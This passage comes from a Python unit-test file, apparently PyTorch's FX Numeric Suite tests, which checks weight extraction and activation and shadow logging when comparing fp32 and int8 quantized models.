self.checkGraphModuleNodes( mp_ns, expected_node_occurrence=prepared_expected_node_occurrence) self.checkGraphModuleNodes( mq_ns, expected_node_occurrence=prepared_expected_node_occurrence) if not skip_scripting: m_ns = torch.jit.script(m_ns) mp_ns = torch.jit.script(mp_ns) mq_ns = torch.jit.script(mq_ns) # calibrate m_ns(*data) mp_ns2(*data) mp_ns(*data) mq_ns(*data) # check activation result correctness results = [] for m1, m2 in ((m_ns, mp_ns2), (mp_ns, mq_ns)): act_compare_dict = extract_logger_info( m1, m2, OutputLogger, 'b') self.assertTrue( len(act_compare_dict) == results_len, f"expected len {results_len}, got len {len(act_compare_dict)}") self.assert_ns_compare_dict_valid(act_compare_dict) extend_logger_results_with_comparison( act_compare_dict, 'a', 'b', compute_sqnr, 'sqnr') extend_logger_results_with_comparison( act_compare_dict, 'a', 'b', compute_normalized_l2_error, 'l2_error') extend_logger_results_with_comparison( act_compare_dict, 'a', 'b', compute_cosine_similarity, 'cosine_similarity') results.append(act_compare_dict) return results def _test_match_shadow_activations( self, m, data, prepared_expected_node_occurrence=None, results_len=None, should_log_inputs=False, qconfig_dict=None, skip_scripting=False, prepare_fn=prepare_fx, compare_fp32_vs_fp32_prepared=True, ): if qconfig_dict is None: qconfig_dict = {'': torch.ao.quantization.default_qconfig} if prepare_fn == prepare_fx: m.eval() else: m.train() mp = prepare_fn(copy.deepcopy(m), qconfig_dict) mp(*data) mp_copy = copy.deepcopy(mp) mq = convert_fx(mp_copy) if compare_fp32_vs_fp32_prepared: m_shadows_mp = add_shadow_loggers( 'a', copy.deepcopy(m), 'b', copy.deepcopy(mp), OutputLogger, should_log_inputs=should_log_inputs) mp_shadows_mq = add_shadow_loggers( 'a', mp, 'b', mq, OutputLogger, should_log_inputs=should_log_inputs) if prepared_expected_node_occurrence: if compare_fp32_vs_fp32_prepared: self.checkGraphModuleNodes( m_shadows_mp, expected_node_occurrence=prepared_expected_node_occurrence) self.checkGraphModuleNodes( mp_shadows_mq, expected_node_occurrence=prepared_expected_node_occurrence) if not skip_scripting: if compare_fp32_vs_fp32_prepared: m_shadows_mp = torch.jit.script(m_shadows_mp) mp_shadows_mq = torch.jit.script(mp_shadows_mq) # calibrate if compare_fp32_vs_fp32_prepared: m_shadows_mp(*data) mp_shadows_mq(*data) # check activation result correctness results = [] models = (m_shadows_mp, mp_shadows_mq) if \ compare_fp32_vs_fp32_prepared else (mp_shadows_mq,) for model in models: act_compare_dict = extract_shadow_logger_info( model, OutputLogger, 'b') if results_len is not None: self.assertTrue( len(act_compare_dict) == results_len, f"expected len {results_len}, got len {len(act_compare_dict)}") self.assert_ns_compare_dict_valid(act_compare_dict) extend_logger_results_with_comparison( act_compare_dict, 'a', 'b', compute_sqnr, 'sqnr') extend_logger_results_with_comparison( act_compare_dict, 'a', 'b', compute_normalized_l2_error, 'l2_error') extend_logger_results_with_comparison( act_compare_dict, 'a', 'b', compute_cosine_similarity, 'cosine_similarity') results.append(act_compare_dict) return results class TestFXNumericSuiteCoreAPIs(FXNumericSuiteQuantizationTestCase): @skipIfNoFBGEMM def test_extract_weights_mod_ptq(self): m = AllConvAndLinearFusionModules().eval() self._test_extract_weights(m, results_len=14) @skipIfNoFBGEMM def test_extract_weights_mod_qat(self): m = AllConvAndLinearFusionModules().train() qconfig_dict = {'': torch.ao.quantization.get_default_qat_qconfig('fbgemm')} self._test_extract_weights( m, results_len=14, qconfig_dict=qconfig_dict, prepare_fn=prepare_qat_fx) @skipIfNoFBGEMM def test_extract_weights_linear_fun_ptq(self): m = LinearReluLinearFunctional().eval() self._test_extract_weights(m, results_len=2) @skipIfNoFBGEMM def test_extract_weights_linear_fun_qat(self): m = LinearReluLinearFunctional().train() qconfig_dict = {'': torch.ao.quantization.get_default_qat_qconfig('fbgemm')} self._test_extract_weights( m, results_len=2, qconfig_dict=qconfig_dict, prepare_fn=prepare_qat_fx) @skipIfNoFBGEMM def test_extract_weights_conv_fun_ptq(self): w1d = torch.randn(1, 1, 1) w2d = torch.randn(1, 1, 1, 1) w3d = torch.randn(1, 1, 1, 1, 1) b1d = torch.randn(1) b2d = torch.randn(1) b3d = torch.randn(1) m = AllConvFunctional(w1d, w2d, w3d, b1d, b2d, b3d).eval() self._test_extract_weights(m, results_len=6) @skipIfNoFBGEMM def test_extract_weights_conv_fun_qat(self): w1d = torch.randn(1, 1, 1) w2d = torch.randn(1, 1, 1, 1) w3d = torch.randn(1, 1, 1, 1, 1) b1d = torch.randn(1) b2d = torch.randn(1) b3d = torch.randn(1) m = AllConvFunctional(w1d, w2d, w3d, b1d, b2d, b3d).train() qconfig_dict = {'': torch.ao.quantization.get_default_qat_qconfig('fbgemm')} self._test_extract_weights( m, results_len=6, qconfig_dict=qconfig_dict, prepare_fn=prepare_qat_fx) @skipIfNoFBGEMM def test_extract_weights_dynamic(self): # TODO(future PR): add Linear-ReLU, after #55393 is fixed. m = nn.Sequential(nn.Linear(1, 1)).eval() qconfig_dict = { 'object_type': [ (nn.Linear, default_dynamic_qconfig), ], } self._test_extract_weights(m, results_len=1, qconfig_dict=qconfig_dict) @skipIfNoFBGEMM def test_extract_weights_fqn(self): m = nn.Sequential( nn.Sequential(nn.Conv2d(1, 1, 1)), nn.Conv2d(1, 1, 1), ).eval() qconfig_dict = {'': torch.ao.quantization.default_qconfig} mp = prepare_fx(m, qconfig_dict) mq = convert_fx(copy.deepcopy(mp)) results = extract_weights('a', mp, 'b', mq) fqn_a_0 = results['_0_0']['weight']['a'][0]['fqn'] fqn_b_0 = results['_0_0']['weight']['b'][0]['fqn'] self.assertTrue(fqn_a_0 == '0.0' and fqn_a_0 == fqn_b_0) fqn_a_1 = results['_1']['weight']['a'][0]['fqn'] fqn_b_1 = results['_1']['weight']['b'][0]['fqn'] self.assertTrue(fqn_a_1 == '1' and fqn_a_1 == fqn_b_1) def _test_match_activations_mod_impl(self, prepare_fn=prepare_fx): m = nn.Sequential( torch.ao.quantization.QuantStub(), nn.Conv2d(1, 1, 1), nn.Conv2d(1, 1, 1), ).eval() qconfig_dict = None if prepare_fn == prepare_qat_fx: qconfig_dict = {'': torch.ao.quantization.get_default_qat_qconfig('fbgemm')} expected_occurrence = { ns.call_module(OutputLogger): 2, } self._test_match_activations( m, (torch.randn(2, 1, 2, 2),), prepared_expected_node_occurrence=expected_occurrence, results_len=2, qconfig_dict=qconfig_dict, prepare_fn=prepare_fn) @skipIfNoFBGEMM def test_match_activations_mod_ptq(self): self._test_match_activations_mod_impl(prepare_fn=prepare_fx) @skipIfNoFBGEMM def test_match_activations_mod_qat(self): self._test_match_activations_mod_impl(prepare_fn=prepare_qat_fx) def _test_match_activations_fun_impl(self, prepare_fn=prepare_fx): m = LinearReluLinearFunctional().eval() qconfig_dict = None if prepare_fn == prepare_qat_fx: qconfig_dict = {'': torch.ao.quantization.get_default_qat_qconfig('fbgemm')} expected_occurrence = { ns.call_module(OutputLogger): 2, } self._test_match_activations( m, (torch.randn(4, 4),), prepared_expected_node_occurrence=expected_occurrence, results_len=2, prepare_fn=prepare_fn, qconfig_dict=qconfig_dict) @skipIfNoFBGEMM def test_match_activations_fun_ptq(self): self._test_match_activations_fun_impl(prepare_fn=prepare_fx) @skipIfNoFBGEMM def test_match_activations_fun_qat(self): self._test_match_activations_fun_impl(prepare_fn=prepare_qat_fx) @skipIfNoFBGEMM def test_match_activations_meth_ptq(self): """ Verify that add_loggers works on methods """ class M(nn.Module): def forward(self, x): x = x.sigmoid() return x m = M().eval() res = self._test_match_activations( m, (torch.randn(4, 4),), results_len=1) @skipIfNoFBGEMM def test_match_activations_fqn(self): m = nn.Sequential( nn.Sequential(nn.Conv2d(1, 1, 1)), nn.Conv2d(1, 1, 1), ).eval() qconfig_dict = {'': torch.ao.quantization.default_qconfig} mp = prepare_fx(m, qconfig_dict) mq = convert_fx(copy.deepcopy(mp)) mp_ns, mq_ns = add_loggers('a', mp, 'b', mq, OutputLogger) datum = torch.randn(1, 1, 1, 1) mp_ns(datum) mq_ns(datum) results = extract_logger_info(mp_ns, mq_ns, OutputLogger, 'b') fqn_a_0 = results['_0_0']['node_output']['a'][0]['fqn'] fqn_b_0 = results['_0_0']['node_output']['b'][0]['fqn'] self.assertTrue(fqn_a_0 == '0.0' and fqn_a_0 == fqn_b_0) fqn_a_1 = results['_1']['node_output']['a'][0]['fqn'] fqn_b_1 = results['_1']['node_output']['b'][0]['fqn'] self.assertTrue(fqn_a_1 == '1' and fqn_a_1 == fqn_b_1) def _test_add_shadow_loggers_mod_impl(self, prepare_fn=prepare_fx): m = nn.Sequential( nn.Conv2d(1, 1, 1), nn.Conv2d(1, 1, 1), ).eval() qconfig_dict = None if prepare_fn == prepare_qat_fx: qconfig_dict = {'': torch.ao.quantization.get_default_qat_qconfig('fbgemm')} res = self._test_match_shadow_activations( m, (torch.randn(1, 1, 4, 4),), results_len=2, prepare_fn=prepare_fn, qconfig_dict=qconfig_dict) @skipIfNoFBGEMM @unittest.skip("Broken by https://github.com/pytorch/pytorch/pull/62608, enable after" "dtype inference is supported") def test_add_shadow_loggers_mod_ptq(self): self._test_add_shadow_loggers_mod_impl(prepare_fn=prepare_fx) @skipIfNoFBGEMM def test_add_shadow_loggers_mod_qat(self): self._test_add_shadow_loggers_mod_impl(prepare_fn=prepare_qat_fx) def _test_add_shadow_loggers_fun_impl(self, prepare_fn=prepare_fx): m = LinearReluLinearFunctional() qconfig_dict = None if prepare_fn == prepare_qat_fx: qconfig_dict = {'': torch.ao.quantization.get_default_qat_qconfig('fbgemm')} res = self._test_match_shadow_activations( m, (torch.randn(4, 4),), results_len=2, prepare_fn=prepare_fn, qconfig_dict=qconfig_dict) @skipIfNoFBGEMM def test_add_shadow_loggers_fun_ptq(self): self._test_add_shadow_loggers_fun_impl(prepare_fn=prepare_fx) @skipIfNoFBGEMM def test_add_shadow_loggers_fun_qat(self): self._test_add_shadow_loggers_fun_impl(prepare_fn=prepare_qat_fx) @skipIfNoFBGEMM @unittest.skip("Broken by https://github.com/pytorch/pytorch/pull/62608, enable after" "dtype inference is supported") def test_add_shadow_loggers_meth_ptq(self): """ Verify that add_loggers works on methods """ class M(nn.Module): def forward(self, x): x = x.sigmoid() return x m = M().eval() res = self._test_match_shadow_activations( m, (torch.randn(4, 4),), results_len=1) @skipIfNoFBGEMM def test_add_shadow_loggers_multiple_dtype_casts(self): """ Verifies that for nodes where the first input arg is a list, such as `cat`, we insert an individual dtype cast for each arg of the list. """ class M(nn.Module): def __init__(self): super().__init__() def forward(self, x): x = torch.cat([x, x, x], dim=0) return x m = M().eval() expected_occurrence = { # 3 dequantize function calls from the 3 dtype casts for [x, x, x] ns.call_module(torch.nn.Identity): 3, # 1 dequantize method call for module output ns.call_method("dequantize"): 1, } self._test_match_shadow_activations( m, (torch.randn(4, 4),), prepared_expected_node_occurrence=expected_occurrence, results_len=1, compare_fp32_vs_fp32_prepared=False) @skipIfNoFBGEMM def test_shadow_activations_fqn(self): m = nn.Sequential( nn.Sequential(nn.Conv2d(1, 1, 1)), nn.Conv2d(1, 1, 1), ).eval() qconfig_dict = {'': torch.ao.quantization.default_qconfig} mp = prepare_fx(m, qconfig_dict) mq = convert_fx(copy.deepcopy(mp)) mp_shadows_mq = add_shadow_loggers('a', mp, 'b', mq, OutputLogger) datum = torch.randn(1, 1, 1, 1) mp_shadows_mq(datum) results = extract_shadow_logger_info(mp_shadows_mq, OutputLogger, 'b') fqn_a_0 = results['_0_0']['node_output']['a'][0]['fqn'] fqn_b_0 = results['_0_0']['node_output']['b'][0]['fqn'] self.assertTrue(fqn_a_0 == '0.0' and fqn_a_0 == fqn_b_0) fqn_a_1 = results['_1']['node_output']['a'][0]['fqn'] fqn_b_1 = results['_1']['node_output']['b'][0]['fqn'] self.assertTrue(fqn_a_1 == '1' and fqn_a_1 == fqn_b_1) @skipIfNoFBGEMM def test_logging_inputs(self): """ Verifies that logging inputs works correctly """ class M(nn.Module): def __init__(self): super().__init__() self.conv = nn.Conv2d(1, 1, 1) def forward(self, x): x = self.conv(x) x = torch.cat([x, x], dim=0) return x m = M().eval() self._test_match_shadow_activations( m, (torch.randn(1, 1, 4, 4),), results_len=2, should_log_inputs=True) @skipIfNoFBGEMM def test_ops_with_same_fp32_and_int8_signature(self): """ Verifies that we can match pairs of ops which have the same aten signature for fp32 and int8 tensors. """ class M(nn.Module): def __init__(self): super().__init__() self.max_pool_2d = nn.MaxPool2d(2) def forward(self, x): x = self.max_pool_2d(x) x = F.relu(x) return x m = M().eval() self._test_match_activations( m, (torch.randn(1, 1, 2, 2),), results_len=2) @skipIfNoFBGEMM def test_add_mul_inputs_activations(self): m = AddMulFunctional().eval() res = self._test_match_activations( m, (torch.randn(2, 2), torch.randn(2, 2)), results_len=6, should_log_inputs=True) @skipIfNoFBGEMM def test_linear_fp16_weights(self): qconfig_dict = {'': torch.ao.quantization.float16_static_qconfig} m = LinearReluFunctional().eval() self._test_extract_weights(m, results_len=1, qconfig_dict=qconfig_dict) @skipIfNoFBGEMM def test_linear_fp16_activations(self): for should_log_inputs in (True, False): qconfig_dict = {'': torch.ao.quantization.float16_static_qconfig} m = LinearReluFunctional().eval() num_loggers = 2 if should_log_inputs else 1 expected_occurrence = { ns.call_module(OutputLogger): num_loggers, } res = self._test_match_activations( m, (torch.randn(4, 4),), prepared_expected_node_occurrence=expected_occurrence, results_len=1, qconfig_dict=qconfig_dict, should_log_inputs=should_log_inputs) @skipIfNoFBGEMM def test_linear_fp16_shadow_activations(self): for should_log_inputs in (True, False): qconfig_dict = {'': torch.ao.quantization.float16_static_qconfig} m = LinearReluFunctional().eval() num_loggers = 4 if should_log_inputs else 2 expected_occurrence = { ns.call_module(OutputLogger): num_loggers, } res2 = self._test_match_shadow_activations( m, (torch.randn(4, 4),), prepared_expected_node_occurrence=expected_occurrence, results_len=1, qconfig_dict=qconfig_dict, should_log_inputs=should_log_inputs) @skipIfNoFBGEMM def test_linear_fp16_vs_linear_fp16_shadow_activations(self): m = LinearFunctional().eval() qconfig_dict = {'': torch.ao.quantization.float16_static_qconfig} mp = prepare_fx(m, qconfig_dict) mq1 = convert_fx(copy.deepcopy(mp)) mq2 = convert_fx(copy.deepcopy(mp)) mq1_shadows_mq2 = _add_shadow_loggers_impl( 'a', mq1, 'b', mq2, OutputLogger, should_log_inputs=False) mq1_shadows_mq2(torch.randn(4, 4)) act_compare_dict = extract_shadow_logger_info( mq1_shadows_mq2, OutputLogger, 'b') self.assertTrue(len(act_compare_dict) == 1) self.assert_ns_compare_dict_valid(act_compare_dict) @skipIfNoFBGEMM @unittest.skip("TODO: broken by https://github.com/pytorch/pytorch/pull/61687, will enable later") def test_op_with_either_fp32_or_int8_input(self): """ Verify that shadowing works with ops which accept either fp32 or int8 inputs. """ class M(nn.Module): def __init__(self): super().__init__() self.relu = nn.ReLU() def forward(self, x): x = self.relu(x) x = F.relu(x) return x m = M() res = self._test_match_shadow_activations( m, (torch.randn(4, 4),), results_len=2) def _test_int8_shadows_int8_impl(self, m): """ Verify that shadowing works where both modules are int8 """ qconfig_dict = {'': torch.ao.quantization.default_qconfig} mp = prepare_fx(m, qconfig_dict) mp(torch.randn(4, 1, 4, 4)) mq1 = convert_fx(copy.deepcopy(mp)) mq2 = convert_fx(mp) mq1_shadows_mq2 = add_shadow_loggers('a', mq1, 'b', mq2, OutputLogger) mq1_shadows_mq2(torch.randn(4, 1, 4, 4)) act_compare_dict = extract_shadow_logger_info( mq1_shadows_mq2, OutputLogger, 'b') self.assertTrue(len(act_compare_dict) == 1) self.assert_ns_compare_dict_valid(act_compare_dict) @skipIfNoFBGEMM def test_int8_shadows_int8_mod(self): m = nn.Sequential(nn.Conv2d(1, 1, 1)).eval() self._test_int8_shadows_int8_impl(m) @skipIfNoFBGEMM def test_int8_shadows_int8_fun(self): m = LinearFunctional().eval() self._test_int8_shadows_int8_impl(m) @skipIfNoFBGEMM def test_user_module_scriptable(self): # Logging of the output of this class is not supported, because it is # neither a tensor or an RNN return type. class M1(nn.Module): def forward(self, x): x1 = x * 2 x2 = x * 4 return (x1, x2) class M2(nn.Module): def __init__(self): super().__init__() self.m1 = M1() def forward(self, x): x1, x2 = self.m1(x) return x1, x2 m = M2().eval() qconfig_dict = {'': torch.ao.quantization.default_qconfig} prepare_custom_config_dict = { 'non_traceable_module_class': [M1], } mp1 = prepare_fx(m, qconfig_dict, prepare_custom_config_dict) mp2 = copy.deepcopy(mp1) unmatchable_types_map = get_unmatchable_types_map() unmatchable_types_map['mods_unmatchable'].add(M1) mp1_ns, mp2_ns = _add_loggers_impl( 'a', mp1, 'b', mp2, OutputLogger, should_log_inputs=False, unmatchable_types_map=unmatchable_types_map) # Scripting a model with loggers should succeed. If it fails because of # incorrect dtypes, we can blocklist the associated types from being instrumented. mp1_ns_scripted = torch.jit.script(mp1_ns) mp2_ns_scripted = torch.jit.script(mp2_ns) @skipIfNoFBGEMM def test_user_module(self): """ For user defined modules, 1. weight extraction should not crash 2. unshadowed activations should only have loggers for known types 3. shadowed activations should only have loggers for known types with known dtypes """ class UserModule(nn.Module): def forward(self, x): return x class M(nn.Module): def __init__(self): super().__init__() self.linear = nn.Linear(1, 1) self.user_module = UserModule() def forward(self, x): x = self.linear(x) x = self.user_module(x) return x m = M().eval() # quantize without tracing through UserModule qconfig_dict = {'': torch.ao.quantization.default_qconfig} prepare_custom_config_dict = {'non_traceable_module_name': ['user_module']} mp = prepare_fx(m, qconfig_dict, prepare_custom_config_dict) mp(torch.randn(1, 1, 1)) mq = convert_fx(copy.deepcopy(mp)) # weight extraction should not crash weights = _extract_weights_impl('fp32_prepared', mp, 'int8', mq) # unshadowed activations should have loggers # add loggers, without retracing # note: converting again because we cannot copy a quantized linear mp_ns, mq_ns = _add_loggers_impl( 'fp32_prepared', copy.deepcopy(mp), 'int8', convert_fx(copy.deepcopy(mp)), OutputLogger, should_log_inputs=True) # both fp32 and int8 models should have 2 loggers each, 2 for I/O # of linear, and 0 for I/O of user_module unshadowed_expected_occurrence = { ns.call_module(OutputLogger): 2, } self.checkGraphModuleNodes( mp_ns, expected_node_occurrence=unshadowed_expected_occurrence) self.checkGraphModuleNodes( mq_ns, expected_node_occurrence=unshadowed_expected_occurrence) # shadowed activations should only have loggers for nodes where # the types are known and we can do a dtype cast # add shadow loggers, without retracing mp_shadows_mq_ns = _add_shadow_loggers_impl( 'fp32_prepared', mp, 'int8', mq, OutputLogger, should_log_inputs=True) # 4 loggers for I/O of linear, 0 loggers for I/O of user_module shadowed_expected_occurrence = { ns.call_module(OutputLogger): 4, } self.checkGraphModuleNodes( mp_shadows_mq_ns, expected_node_occurrence=shadowed_expected_occurrence) def test_op_io_dtype_coverage(self): """ Tests that all the ops quantization cares about have input and output dtypes defined. """ base_name_to_sets_of_related_ops = get_base_name_to_sets_of_related_ops() type_a_related_to_b = \ get_type_a_related_to_b(base_name_to_sets_of_related_ops) # TODO(future PR): clean this up node_type_to_io_type_map = get_node_type_to_io_type_map() FUNS_IO_TYPE_FP32 = node_type_to_io_type_map['funs_io_type_fp32'] FUNS_IO_TYPE_INT8 = node_type_to_io_type_map['funs_io_type_int8'] FUNS_IO_TYPE_FP32_OR_INT8 = node_type_to_io_type_map['funs_io_type_fp32_or_int8'] MODS_IO_TYPE_FP32 = node_type_to_io_type_map['mods_io_type_fp32'] MODS_IO_TYPE_INT8 = node_type_to_io_type_map['mods_io_type_int8'] MODS_IO_TYPE_FP32_OR_INT8 = node_type_to_io_type_map['mods_io_type_fp32_or_int8'] METHS_IO_TYPE_FP32_OR_INT8 = node_type_to_io_type_map['meths_io_type_fp32_or_int8'] unmatchable_types_map = get_unmatchable_types_map() FUNS_UNMATCHABLE = unmatchable_types_map['funs_unmatchable'] MODS_UNMATCHABLE = unmatchable_types_map['mods_unmatchable'] METHS_UNMATCHABLE = unmatchable_types_map['meths_unmatchable'] # 1. check static quant module mappings static_quant_mod_mappings = get_default_static_quant_module_mappings() for fp32_type, int8_type in static_quant_mod_mappings.items(): types_to_skip = ( torch.ao.quantization.QuantStub, torch.ao.quantization.DeQuantStub, nnq.FloatFunctional, # TODO(future PR): look into whether shadowing embeddings # makes sense nn.Embedding, nn.EmbeddingBag, ) if fp32_type in types_to_skip: continue self.assertTrue( fp32_type in MODS_IO_TYPE_FP32, f"missing IO type handling for f{fp32_type}") self.assertTrue( int8_type in MODS_IO_TYPE_INT8, f"missing IO type handling for f{int8_type}") # 2. check static quant op mappings static_quant_fun_mappings = get_default_float_to_quantized_operator_mappings() for fp32_type, int8_type in static_quant_fun_mappings.items(): self.assertTrue( fp32_type in FUNS_IO_TYPE_FP32, f"missing IO type handling for f{fp32_type}") self.assertTrue( int8_type in FUNS_IO_TYPE_INT8, f"missing IO type handling for f{int8_type}") # 3. check dynamic quant mappings dynamic_quant_mappings = get_default_dynamic_quant_module_mappings() for fp32_type1, fp32_type2 in dynamic_quant_mappings.items(): # TODO(future PR): verify correct I/O for these and remove from # this list. types_to_skip = ( nn.GRUCell, nn.GRU, nn.LSTMCell, nn.RNNCell, # TODO(future PR): look into whether shadowing embeddings # makes sense nn.Embedding, nn.EmbeddingBag, ) if fp32_type1 in types_to_skip: continue self.assertTrue( fp32_type1 in MODS_IO_TYPE_FP32, f"missing IO type handling for f{fp32_type1}") self.assertTrue( fp32_type2 in MODS_IO_TYPE_FP32, f"missing IO type handling for f{fp32_type2}") # 4. go through the ops mapped to each QuantizeHandler type, and verify # correctness. default_quant_patterns = get_default_quant_patterns() for pattern, qhandler_cls in default_quant_patterns.items(): base_op = None if isinstance(pattern, tuple): base_op = pattern[-1] elif isinstance(pattern, str): base_op = pattern else: base_op = pattern if ( qhandler_cls in ( qp.BinaryOpQuantizeHandler, qp.RNNDynamicQuantizeHandler, ) ): # TODO(future PR): implement shadowing for binary ops # TODO(future PR): implement shadowing for RNN ops continue elif qhandler_cls == qp.CatQuantizeHandler: self.assertTrue( base_op in FUNS_IO_TYPE_FP32_OR_INT8, f"missing IO type handling for {base_op}") elif ( qhandler_cls in ( qp.ConvReluQuantizeHandler, qp.LinearReLUQuantizeHandler, qp.BatchNormQuantizeHandler, qp.DefaultNodeQuantizeHandler, ) ): self.assertTrue( (base_op in FUNS_IO_TYPE_FP32) or (base_op in MODS_IO_TYPE_FP32), f"missing IO type handling for {base_op}") elif ( qhandler_cls in ( qp.FixedQParamsOpQuantizeHandler, qp.CopyNodeQuantizeHandler, qp.GeneralTensorShapeOpQuantizeHandler, ) ): if ( base_op in FUNS_UNMATCHABLE or base_op in MODS_UNMATCHABLE or base_op in METHS_UNMATCHABLE ): continue self.assertTrue( (base_op in FUNS_IO_TYPE_FP32_OR_INT8) or (base_op in MODS_IO_TYPE_FP32_OR_INT8) or (base_op in METHS_IO_TYPE_FP32_OR_INT8), f"missing IO type handling for {base_op}") elif qhandler_cls == qp.EmbeddingQuantizeHandler: # embedding shadowing is not implemented, for now continue else: raise AssertionError( f"handing for {qhandler_cls} not implemented") @skipIfNoFBGEMM def test_user_defined_function(self): """ Verify that NS APIs work on user defined functions """ class M1(nn.Module): def __init__(self): super().__init__() self.w1 = nn.Parameter(torch.empty(1, 1)) self.b1 = nn.Parameter(torch.zeros(1)) torch.nn.init.kaiming_uniform_(self.w1, a=math.sqrt(5)) def forward(self, x): x = F.hardswish(x) x = x.sigmoid() x = F.linear(x, self.w1, self.b1) return x class M2(nn.Module): def __init__(self): super().__init__() self.w1 = nn.Parameter(torch.empty(1, 1)) self.b1 = nn.Parameter(torch.zeros(1)) torch.nn.init.kaiming_uniform_(self.w1, a=math.sqrt(5)) def forward(self, x): x = _wrapped_hardswish(x) x = _wrapped_sigmoid(x) x = _wrapped_linear(x, self.w1, self.b1) return x qconfig_dict = {'': torch.ao.quantization.default_qconfig} m1 = prepare_fx(M1().eval(), qconfig_dict) m2 = prepare_fx(M2().eval(), qconfig_dict) data = torch.randn(1, 1) base_name_to_sets_of_related_ops = get_base_name_to_sets_of_related_ops() add_op_to_sets_of_related_ops( base_name_to_sets_of_related_ops, _wrapped_hardswish, F.hardswish) add_op_to_sets_of_related_ops( base_name_to_sets_of_related_ops, _wrapped_sigmoid, F.sigmoid) add_op_to_sets_of_related_ops( base_name_to_sets_of_related_ops, _wrapped_linear, F.linear) op_to_type_to_weight_extraction_fn = \ get_op_to_type_to_weight_extraction_fn() op_to_type_to_weight_extraction_fn['call_function'][_wrapped_linear] = \ torch.ao.ns.fx.weight_utils.get_linear_fun_weight # test compare weights results = extract_weights( 'a', m1, 'b', m2, base_name_to_sets_of_related_ops=base_name_to_sets_of_related_ops, op_to_type_to_weight_extraction_fn=op_to_type_to_weight_extraction_fn) self.assertTrue(len(results) == 1) self.assertTrue(len(results['_wrapped_linear']['weight']) == 2) # test unshadowed activations m1_ns, m2_ns = _add_loggers_impl( 'a', copy.deepcopy(m1), 'b', copy.deepcopy(m2), OutputLogger, should_log_inputs=False, base_name_to_sets_of_related_ops=base_name_to_sets_of_related_ops) # calibrate m1_ns(data) m2_ns(data) # check activation result correctness act_compare_dict = extract_logger_info(m1_ns, m2_ns, OutputLogger, 'b') self.assertTrue(len(act_compare_dict) == 3) self.assert_ns_compare_dict_valid(act_compare_dict) # test shadowed activations node_type_to_io_type_map = get_node_type_to_io_type_map() node_type_to_io_type_map['funs_io_type_fp32'].add(_wrapped_hardswish) node_type_to_io_type_map['funs_io_type_fp32'].add(_wrapped_sigmoid) m2_shadows_m1_ns = _add_shadow_loggers_impl( 'a', m2, 'b', m1, OutputLogger, should_log_inputs=False, base_name_to_sets_of_related_ops=base_name_to_sets_of_related_ops, node_type_to_io_type_map=node_type_to_io_type_map) # calibrate m2_shadows_m1_ns(data) # check activation result correctness act_compare_dict = extract_shadow_logger_info( m2_shadows_m1_ns, OutputLogger, 'b') self.assertTrue(len(act_compare_dict) == 2) self.assert_ns_compare_dict_valid(act_compare_dict) @skipIfNoFBGEMM @unittest.skip("Broken by https://github.com/pytorch/pytorch/pull/62608, enable after" "dtype inference is supported") def test_layer_names(self): m = nn.Sequential( nn.Conv2d(1, 1, 1), nn.Conv2d(1, 1, 1), nn.Sigmoid(), ).eval() qconfig_dict = {'': torch.ao.quantization.default_qconfig} mp = torch.ao.quantization.quantize_fx.prepare_fx(m, qconfig_dict) mq = torch.ao.quantization.quantize_fx.convert_fx(copy.deepcopy(mp)) # extract weights results = extract_weights('fp32', mp, 'int8', mq) mq_node_names = [node.name for node in mq.graph.nodes] for layer_name in results.keys(): self.assertTrue(layer_name in mq_node_names) # match activations mq = torch.ao.quantization.quantize_fx.convert_fx(copy.deepcopy(mp)) mp_ns, mq_ns = add_loggers( 'fp32', copy.deepcopy(mp), 'int8', mq, OutputLogger) data = torch.randn(1, 1, 1, 1) mp_ns(data) mq_ns(data) results = extract_logger_info(mp_ns, mq_ns, OutputLogger, 'int8') mq_node_names = [node.name for node in mq_ns.graph.nodes] for layer_name in results.keys(): self.assertTrue(layer_name in mq_node_names) # match shadow activations mq = torch.ao.quantization.quantize_fx.convert_fx(copy.deepcopy(mp)) mp_shadows_mq = add_shadow_loggers( 'fp32', mp, 'int8', mq, OutputLogger) mp_shadows_mq(data) results = extract_shadow_logger_info( mp_shadows_mq, OutputLogger, 'int8') mq_node_names = [node.name for node in mp_shadows_mq.graph.nodes] for layer_name in results.keys(): self.assertTrue(layer_name in mq_node_names) @skipIfNoFBGEMM def test_extend_logger_results_with_comparison(self): m = nn.Sequential(nn.Conv2d(1, 1, 1), nn.Conv2d(1, 1, 1)).eval() qconfig_dict = {'': torch.ao.quantization.default_qconfig} mp = torch.ao.quantization.quantize_fx.prepare_fx(m, qconfig_dict) mq = torch.ao.quantization.quantize_fx.convert_fx(copy.deepcopy(mp)) # extract weights results = extract_weights('fp32', mp, 'int8', mq) extend_logger_results_with_comparison( results, 'fp32', 'int8', compute_sqnr, 'sqnr_int8_vs_fp32') extend_logger_results_with_comparison( results, 'fp32', 'int8', compute_normalized_l2_error, 'l2_error_int8_vs_fp32') extend_logger_results_with_comparison( results, 'fp32', 'int8', compute_cosine_similarity, 'cosine_similarity_int8_vs_fp32') for layer_name, layer_results in results.items(): assert 'sqnr_int8_vs_fp32' in \ layer_results['weight']['int8'][0].keys() assert 'l2_error_int8_vs_fp32' in \ layer_results['weight']['int8'][0].keys() assert 'cosine_similarity_int8_vs_fp32' in \ layer_results['weight']['int8'][0].keys() @skipIfNoFBGEMM def test_int8_shadows_fp32_simple(self): m = nn.Sequential(nn.Conv2d(1, 1, 1), nn.Conv2d(1, 1, 1), nn.ReLU()).eval() qconfig_dict = {'': torch.ao.quantization.default_qconfig} mp = torch.ao.quantization.quantize_fx.prepare_fx(m, qconfig_dict) mp(torch.randn(1, 1, 1, 1)) mq = torch.ao.quantization.quantize_fx.convert_fx(copy.deepcopy(mp)) mq_ref = torch.ao.quantization.quantize_fx.convert_fx(copy.deepcopy(mp)) mp_shadows_mq = add_shadow_loggers( 'int8', mq, 'fp32', mp, OutputLogger) # verify that scale and zp were extracted correctly # for the first op, the scale+zp live as attributes on the module scale_0 = mp_shadows_mq._0_input_scale_0 scale_0_ref = getattr(mq_ref, '0_input_scale_0') self.assertEqual(scale_0, scale_0_ref) zp_0 = mp_shadows_mq._0_input_zero_point_0 zp_0_ref = getattr(mq_ref, '0_input_zero_point_0') self.assertEqual(zp_0, zp_0_ref) # for the second op, the scale and zp of input to second op # must equal to scale and zp of output of first op scale_1 = mp_shadows_mq._1_input_scale_0 scale_1_ref = getattr(mq_ref, '0').scale self.assertEqual(scale_1, scale_1_ref) zp_1 = mp_shadows_mq._1_input_zero_point_0 zp_1_ref = getattr(mq_ref, '0').zero_point self.assertEqual(zp_1, zp_1_ref) # verify running data works mp_shadows_mq(torch.randn(1, 1, 1, 1)) act_compare_dict 